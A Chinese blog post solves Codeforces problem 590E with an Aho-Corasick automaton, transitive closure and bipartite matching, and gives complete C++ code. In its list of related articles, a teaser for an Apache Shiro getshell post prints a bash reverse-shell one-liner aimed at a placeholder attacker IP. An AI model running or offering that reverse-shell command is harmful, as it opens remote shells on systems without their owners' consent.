CF590E Birthday
题意
给定 \(n\) 个只由 \(a,b\) 组成的字符串,保证两两不同。
要求从中选出尽可能多的字符串,使得选出的字符串中,任意一个字符串不是另一个的子串。
求最多能选多少并输出一个可行解。
\(n \leq 750, \sum |S_i| \leq 10^6\)
思路
考虑根据包含关系建边,可以得到一张有向无环图,之后我们要求的是一个最大点集,两两不能到达。这就是祭祀。
即求最长反链,然后转化为最小链覆盖,再到传递闭包后的最大匹配,关于证明,ta没了。
接着来说一下如何输出方案。
在求完传递闭包之后,能互相到达的点一定是相邻的,所以最长反链即为最大独立集。
定义:最小点覆盖就是选择最少的点来覆盖所有的边。一个点能覆盖以它为端点的边
最大独立集=所有顶点数-最小点覆盖
突然写不下去了,就看这个吧偷懒,啥时候空了我来补
然后来考虑怎么建图。
由于是子串问题,很容易想到用AC自动机。
但是如果把所有包含关系都求出来,妥妥的T了
对于三个串 \(a,b,c\),如果 \(a\)包含\(b\) , \(b\)包含\(c\), 那么\(a\)包含\(c\)。
回忆AC自动机匹配的过程,对于文本串\(i\)每匹配到一个字符位置\(u\)就跳\(fail\),考虑到每次第一个跳到的一定是最长的,且每次跳的都是前面所有的子串,所以我们只要将\(i\)与\(fail[u]\)上包含的最长完整串连边就行。注意\(fail[u]\)上可能不存在完整串末尾节点,那么我们就继承离他最近的\(fail\)树祖先上的串。
不要忘记\(u\)本身是末尾节点的情况。
至于怎么继承,只要在\(get \_ fail\)中加一句就好了
#include <bits/stdc++.h>
using std::string;
using std::queue;
queue <int> q;
const int N=755,M=10000005;
string s[N];
int ch[M][2],val[M],fail[M],cnt,n,vis[N],now,to[N],len[N],f[N];
int tagl[N],tagr[N];
bool a[N][N];
void insert(string s,int l,int id){
int u=0;
for (int i=0;i<l;i++){
int c=s[i]-'a';
if (!ch[u][c]) ch[u][c]=++cnt;
u=ch[u][c];
}
val[u]=id;
}
void get_fail(){
if (ch[0][0]) q.push(ch[0][0]);
if (ch[0][1]) q.push(ch[0][1]);
while (!q.empty()){
int x=q.front();
if (!val[x]) val[x]=val[fail[x]];
q.pop();
for (int i=0;i<2;i++)
if (ch[x][i]) {
q.push(ch[x][i]);
fail[ch[x][i]]=ch[fail[x]][i];
}else ch[x][i]=ch[fail[x]][i];
}
}
void match(string s,int l,int id){
int u=0;
for (int i=0;i<l;i++){
int c=s[i]-'a';
u=ch[u][c];
if (val[u]) a[id][val[u]]=1;
if (val[fail[u]]) a[id][val[fail[u]]]=1;
}
}
int dfs(int x){
for (int i=1;i<=n;i++)
if (a[x][i] && vis[i]!=now){
vis[i]=now;
if (f[i]==0 || dfs(f[i])){
to[x]=i,f[i]=x;
return 1;
}
}
return 0;
}
void dfs2(int x){
tagl[x]=1;
for (int i=1;i<=n;i++){
if (a[x][i]==0) continue;
if (!tagr[i]){
tagr[i]=1;
dfs2(f[i]);
}
}
}
int main(){
scanf("%d",&n);
for (int i=1;i<=n;i++){
std::cin>>s[i];
len[i]=s[i].length();
insert(s[i],len[i],i);
}
get_fail();
for (int i=1;i<=n;i++)
match(s[i],len[i],i);
for (int k=1;k<=n;k++)
for (int i=1;i<=n;i++)
for (int j=1;j<=n;j++)
a[i][j]=a[i][j]|(a[i][k] & a[k][j]);
for (int i=1;i<=n;i++) a[i][i]=0;
int ans=0;
for (int i=1;i<=n;i++)
now=i,ans+=dfs(i);
printf("%d\n",n-ans);
for (int i=1;i<=n;i++)
if (!to[i]) dfs2(i);
for (int i=1;i<=n;i++)
if (tagr[i]==0 && tagl[i]) printf("%d ",i);
}
后记
追随神仙的脚步
争取做到\(\frac{1}{1 page}\)
CF590E Birthday的更多相关文章
- IOI 2020 集训队作业胡扯
首先安慰自己:做的没集训队快很正常-- 很正常-- 做不完也很正常-- 很正常-- 全都不会做也很正常-- 很正常-- 表格 试题一 完成情况 试题二 完成情况 试题三 完成情况 cf549E cf6 ...
- IOI 2020 国家集训队作业
\(\checkmark\) 试题一 完成情况 试题二 完成情况 试题三 完成情况 cf549E cf674G arc103_f \(\checkmark\) cf594E agc034_f agc0 ...
随机推荐
- python之(urllib、urllib2、lxml、Selenium+PhantomJS)爬虫
一.最近在学习网络爬虫的东西,说实话,没有怎么写过爬虫,Java里面使用的爬虫也没有怎么用过.这里主要是学习Python的时候,了解到Python爬虫的强大,和代码的简介,这里会简单的从入门看是说起, ...
- 【实战】Apache shiro<=1.2.4 getshell
方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...
- FreeRTOS 中断配置和临界段
中断屏蔽寄存器 PRIMASK.FAULTMASK和BASEPRI 1.PRIMASK:这是个只有1个位的寄存器.当它置1时, 就关掉所有可屏蔽的异常,只剩下 NMI和硬fault可以响应.它的缺省值 ...
- An incompatible version [1.2.10] of the APR based Apache Tomcat Native library is installed, while Tomcat requires version [1.2.14]
这个链接的博主写的很详细,直接推荐:https://blog.csdn.net/zhoukikoo/article/details/80532483
- 微信小程序 之wxml保留小数点后两位数的方法及转化为字符串的方法
原理:wxml中不能直接使用较高级的js语法,如‘.toFixed’,‘toString()’,但可以通过引入wxs模块实现效果 1.新建`filter.wxs` var filters = { ...
- Hbase Region in transition问题解决
1 hbase hbck -repair 强制修复 如果ok就可以 2 不ok,找到hdfs上对应的该表位置,删除,之后在使用hbase hbck -repair 解决过程: 第一次,使用了方法二, ...
- 这个在Github有52100颗星星的项目,怎么还有人不知道鸭!
Ta是近两年Docker最为火热的开源项目之一.Docker 开启了容器时代,而Ta则革新了我们对于云计算,软件开发流程,业务平台等等方面的认知. Ta就是Kubernetes,/k(j)uːbəˈn ...
- linux alsa音频中采样率fs、比特率BCLK 、主时钟MCLK关系
转:https://blog.csdn.net/lugandong/article/details/72468831 一.拿512fs说话: 看图知道采样的位深是32bit(位),左右声道各占了8*3 ...
- C++——Big Three(copy ctor、copy op=、dtor)
Big Three C++ 中Big Three指的是copy ctor 和 copy op= 和 dtor m_data是个字符串指针.一般而言,处理字符串,都是使用指针,在需要存储字符的时候再 ...
- IIS 自动化发布工具实现【一】
[持续更新中啦] 过去一年,有在尝试做.net 这块的开发运维工作.基于现在的开发场景,写了一套差异发布工具.后面用python重写了一套,现学现卖. 主要功能: 差异打包.自动发布.自动回滚 实现架 ...